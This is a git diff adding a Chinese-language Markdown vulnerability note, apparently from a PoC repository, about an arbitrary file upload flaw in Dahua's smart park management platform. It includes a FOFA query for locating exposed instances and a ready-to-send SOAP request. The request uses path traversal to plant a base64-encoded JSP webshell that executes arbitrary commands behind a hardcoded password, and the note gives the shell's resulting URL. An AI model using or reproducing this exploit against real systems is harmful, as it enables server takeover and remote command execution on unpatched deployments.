diff --git a/大华智慧园区综合管理平台bitmap接口存在任意文件上传漏洞.md b/大华智慧园区综合管理平台bitmap接口存在任意文件上传漏洞.md
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+## 大华智慧园区综合管理平台bitmap接口存在任意文件上传漏洞
+
+大华园区综合管理平台/emap/webservice/gis/soap/bitmap接口处存在任意文件上传漏洞，恶意攻击者可能会上传后门文件，造成服务器失陷
+
+
+## fofa
+```
+app="dahua-智慧园区综合管理平台"
+```
+![33323d220d4e626f9db80f3dac6829f6](https://github.com/wy876/POC/assets/139549762/d2b1222c-c509-474d-9c28-92b05ade76c1)
+
+
+## poc
+```
+POST /emap/webservice/gis/soap/bitmap HTTP/1.1
+Host: your-ip
+Content-Type: text/xml; charset=utf-8
+User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
+
+<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.bitmap.mapbiz.emap.dahuatech.com/">
+    <soapenv:Header/>           
+	    <soapenv:Body>
+     		    <res:uploadPicFile>
+                    <arg0>
+             	    <picPath>/../rce.jsp</picPath>
+                    </arg0>
+                    <arg1>PCUgaWYoIjEyMyIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkpeyBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7IGludCBhID0gLTE7IGJ5dGVbXSBiID0gbmV3IGJ5dGVbMjA0OF07IG91dC5wcmludCgiPHByZT4iKTsgd2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXsgb3V0LnByaW50bG4obmV3IFN0cmluZyhiKSk7IH0gb3V0LnByaW50KCI8L3ByZT4iKTsgfSAlPg==</arg1>
+                </res:uploadPicFile>
+		</soapenv:Body>
+</soapenv:Envelope>
+```
+文件上传路径：http://127.0.0.1/upload/rce.jsp
+
+
+![image](https://github.com/wy876/POC/assets/139549762/f83ff567-1c39-4b96-8985-90c0f06542b3)